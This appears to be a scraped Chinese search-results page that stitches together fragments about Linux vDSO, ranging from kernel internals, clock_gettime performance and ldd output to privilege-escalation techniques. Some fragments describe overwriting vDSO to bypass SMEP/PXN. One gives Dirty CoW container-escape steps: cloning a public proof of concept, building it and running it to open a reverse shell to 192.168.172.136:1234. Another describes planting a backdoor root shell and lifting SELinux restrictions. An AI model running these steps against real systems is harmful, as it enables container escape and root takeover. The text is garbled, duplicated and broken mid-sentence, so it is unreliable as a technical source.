为了搞清楚vDSO在内核提权中的应用,首先就要搞清楚vDSO到底是什么,我们来看下vDSO的定义: The "vDSO" (virtual dynamic shared object) is a small 0x00007ffff7ffc000 Dumped 8192 bytes to 'vdso.so' gdb-peda$ quit root@kali:/tmp# file vdso.so vdso.so 0x02 vDSO 在内核提权中的应用 首先明确一点,vDSO在用户态的权限是R/X,在内核态的权限是R/W,这导致了如下两种思路: ? ? vdso段中gettimeofday()函数的内容,需要知道vDSO段的内核态地址 3、内核态的shellcode如何编写? 2、vDSO段的内核态地址 通过暴力搜索vdso的ELF开头来确定vdso在内核中的映射位置,这需要一个内核任意读。
★ 本文旨在介绍vDSO在内核提权中绕过SMEP/PXN的应用 ★ 0x01 vDSO 是什么 孙子兵法最核心的价值观就是:知己知彼,百战不殆。 为了搞清楚vDSO在内核提权中的应用,首先就要搞清楚vDSO到底是什么,我们来看下vDSO的定义: The "vDSO" (virtual dynamic shared object) is a small 0x00007ffff7ffc000 Dumped 8192 bytes to 'vdso.so' gdb-peda$ quit root@kali:/tmp# file vdso.so vdso.so vdso段中gettimeofday()函数的内容,需要知道vDSO段的内核态地址 3、内核态的shellcode如何编写? 2、vDSO段的内核态地址 通过暴力搜索vdso的ELF开头来确定vdso在内核中的映射位置,这需要一个内核任意读。
领8888元新春采购礼包,抢爆款2核2G云服务器95元/年起,个人开发者加享折上折
初始化vDSO发生在arch/x86/entry/vdso/vma.c的init_vdso()函数中: static int __init init_vdso(void) { init_vdso_image (&vdso_image_64); #ifdef CONFIG_X86_X32_ABI init_vdso_image(&vdso_image_x32); #endif return 0; } 使用init_dso_image()函数来初始化vdso_image结构体,vdso_image_64和vdso_image_x32在arch/x86/entry/vdso/vdso-image- /vdso/vma.c中调用函数arch_setup_additional_pages()来检查并调用map_vdso_randomized() -> map_vdso()函数来进行内存页面映射: int vdso64_enabled) return 0; return map_vdso_randomized(&vdso_image_64); } ? ?
我们从代码中可以发现得到时间用的的vdso方式的调用, 因为有些内核使用太频繁, 每次都内核调用开销太高, 就将用户态的一段内存映射到内核, 这样内核调用就转换成用户态函数调用和内存读取。 MOVQ $0, m_vdsoSP(BX) ... walltime涉及的vdso库的解析. var vdsoSymbolKeys = []vdsoSymbolKey{ {"__vdso_gettimeofday ", 0x315ca59, 0xb01bca00, &vdsoGettimeofdaySym}, {"__vdso_clock_gettime", 0xd35ec75, 0x6e43a318 , &vdsoClockgettimeSym}, } 当然上面代码阅读起来还是有点困难, 进行翻译以后就是下面的代码, vdso_clock_gettime的精度是纳秒而 vdso_gettimeofday , int32(t.nsec) } t := &timeval{} __vdso_gettimeofday(t, nil) return t.sec, int32(
机制, 将vdso32-sysenter.so动态链接库装载进vsyscall页中,在arch/x86/vdso/vdso32-setup.c可以找到sysenter_setup()函数: int __ (2)调用宏virt_to_page得到syscall_page地址对应的page管理结构地址并赋值给vdso32_page[0]。 (4)将vdso32_sysenter_start地址赋给vsyscall,然后用memcpy()将vsyscall拷贝到对应的页,最后用relocate_vdso()进行重定向。 在arch/x86/vdso/vdso32.S中可以看到vdso32_sysenter_start就是vdso32-sysenter.so: vdso32_sysenter_start: 即将vdso32 3.1.2 相关MSR寄存器的初始化 在arch/x86/vdso/vdso32-setup.c中的enable_sep_cpu()函数完成相关MSR寄存器的初始化: void enable_sep_cpu
图 2 - 系统调用与函数调用耗时比较 上图中的 vDSO 全称是虚拟动态链接对象(Virtual Dynamically Shared Object、vDSO),它可以减少系统调用的消耗的时间,我们会在后面详细分析它的实现原理 vDSO 虚拟动态共享对象(virtual dynamic shared object、vDSO)是 Linux 内核对用户空间暴露内核空间部分函数的一种机制[^16],简单来说,我们将 Linux 内核中不涉及安全的系统调用直接映射到用户空间 linux-vdso.so.1 (0x00007fff2709c000) 内核中的 ELF 加载器会负责映射 vDSO 的内存页并设置辅助向量(Auxiliary Vector)中 AT_SYSINFO_EHDR,该标签存储了 vDSO 的基地址; 动态链接器会查询辅助向量中 AT_SYSINFO_EHDR,如果设置了该标签会链接 vDSO; libc 在初始化时会在 vDSO 中查找 __vdso_gettimeofday 符号并将符号链接到全局的函数指针上; 除了 gettimeofday
vdso在内核层的内存权限为rw,用户层的权限为rx,vdso的范围在0xffffffff80000000~0xffffffffffffefff。 通过getauxval(AT_SYSINFO_EHDR)函数得到用户层vdso地址,并调用memmem找到"gettimeofday"的字符串距离vdso地址的偏移为0x2cd。 出vdso的内容,共有0x2000个字节: dump memory vdso.1 0xffffffff9ac04000 0xffffffff9ac06000 再用objdump -T vdso.1得到 , ret; vdso_usr = getauxval(AT_SYSINFO_EHDR); printf("[+] vdso_usr:0x%lx\n", vdso_usr); ret , ret; vdso_usr = getauxval(AT_SYSINFO_EHDR); printf("[+] vdso_usr:0x%lx\n", vdso_usr); ret
3,vDSO 有一些syscall,例如time、gettimeofday等,这些只是从kernel中请求数据,kernel的实现上,甚至只是把内核变量copy到用户buf上。 vDSO的man介绍如下: ? 5,memory mapping 上文提到了那个非常极端的方法,本质来说和vDSO比较接近,但是更加激进一些。 相比于vDSO,安全检查非常不好,也需要root权限。 这里不做实现。 可见,syscall的实现上,已经比vDSO的实现没有太大的差距了。远不似当年相对比于int 0x80的性能提升了。 在skylake上测试,syscall大约只要320 cycles。
top -p xxx 命令查看热点函数堆栈: 物理机的perf输出: [物理机perf] 虚拟机的perf输出: [虚拟机perf] 从top输出可以很清晰地看到,虚拟机上的clock_gettime和vdso_clock_gettime 那么,是什么原因导致了__vdso_clock_gettime的性能差异呢? 首先弄清楚什么是 vdso, vDSO(virtual dynamic shared object),是内核提供的一种加速机制,可以让用户态程序不通过系统调用而能执行内核里的函数,在进程加载时,自动加入进程的地址空间 我们来看看centos 7.4的3.10.0-693.el7内核版本中的__vdso_clock_gettime函数的实现: [image.png] sysbench调用clock_gettime的方式为 于是顺着如下调用链: __vdso_clock_gettime -> do_monotonic -> vgetsns 我们再来看vgetns的实现: [image.png] 从vgetns我们可知
inotify后,运行时报错,找不到 libinotifytools.so.0 ,运行ldd命令结果如下: ldd /usr/local/bin/inotifywait linux-vdso.so ldd /usr/local/bin/inotifywait linux-vdso.so.1 => (0x00007fff48fb9000) libinotifytools.so
我用ldd命令检查下Python二进制程序依赖的库文件: [root@centos-linux-7 deps]# ldd /usr/local/python27/bin/python linux-vdso.so /build/lib.linux-x86_64-2.7/_socket.so: linux-vdso.so.1 => (0x00007ffdba579000) libm.so.6 => /lib64 /build/lib.linux-x86_64-2.7/_curses.so: linux-vdso.so.1 => (0x00007ffd61969000) libpthread.so.0 => /local/python27 -name '*.so'|xargs ldd /usr/local/python27/lib/python2.7/lib-dynload/nis.so: linux-vdso.so /usr/local/python27/lib/python2.7/lib-dynload/_codecs_cn.so: linux-vdso.so.1 => (0x00007fff695db000
/libTaSESDK.so) linux-vdso.so.1 => (0x00007fff675ff000) libstdc++.so.6 => /usr/lib64 /libTaSESDK.so) linux-vdso.so.1 => (0x00007fff8cdff000) /lib/newlibc.so.6 => not found /libTaSESDK.so' linux-vdso.so.1 => (0x00007fffbb324000) /lib/newlibc.so.6 (0x00007f30651cc000
软件设计引起的逃逸 Shocker攻击 runC容器逃逸漏洞(CVE-2019-5736) Docker cp 命令(CVE-2019-14271) 4、内核漏洞引起的逃逸 脏牛漏洞(dirtycow-docker-vdso 2、测试容器下载并运行: git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash 3、进入容器,编译POC并执行: cd /dirtycow-vdso/make./0xdeadbeef 192.168.172.136:1234 4、在192.168.172.136
Dirty CoW漏洞的逃逸的实现思路和上述的思路不太一样,采取Overwrite vDSO技术。 vDSO(Virtual Dynamic Shared Object)是内核为了减少内核与用户空间频繁切换,提高系统调用效率而设计的机制。 通过调用那些不需要上下文切换(context switching)的系统调用可以加快这一步骤(定位vDSO)。 利用步骤如下: 获取vDSO地址,在新版的glibc中可以直接调用getauxval()函数获取; 通过vDSO地址找到clock_gettime()函数地址,检查是否可以hijack; 创建监听socket 父进程创建二个线程,ptrace_thread线程向vDSO写入shellcode。
#查看main的链接情况 $ ldd src/main linux-vdso.so.1 => (0x00007ffecf33a000) librice.so => / /src/main linux-vdso.so.1 => (0x00007ffead3ec000) libc.so.6 => /lib/x86_64-linux-gnu
服务无法启动,出现libpcre.so.1 not found的错误,解决方法如下: 先执行下述命令,查看 ---#ldd $(which /usr/sbin/nginx) 显示如下: linux-vdso.so -#ln -s libpcre.so.0.0.1 libpcre.so.1 再次查看一下: ----#ldd $(which /usr/sbin/nginx) 显示已经ok了: linux-vdso.so
该exploit可以任意写入vDSO(虚拟动态链接共享对象),为了使应用程序更好的执行,该对象将一组内核空间函数导出到用户空间 ,vDSO代码在没有SELinux限制的内核上下文中运行 。 exploit使用漏洞利用代码将shellcode写入vDSO并创建反弹shell。然后,它修 改SELinux策略以解除限制并植入一个后门root shell。 ?
ID已经发生变化:image.png5.在新容器/aa路径下完成对宿主机资源的访问:ls /aaimage.png三、存在Dirty Cow漏洞时的逃逸情况(一)脏牛漏洞(CVE-2016-5195)与VDSO VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。 在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
###查看ld dependency: [root@garnett-vm-1-3nskg test_ld]# ldd libhijack_printf.so linux-vdso.so.1 => (0x00007fff0fcfe000 ld-linux-x86-64.so.2 (0x00007fb30c13c000) [root@garnett-vm-1-3nskg test_ld]# ldd printf_hello linux-vdso.so
脆弱性检测服务(VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
扫码关注腾讯云开发者
领取腾讯云代金券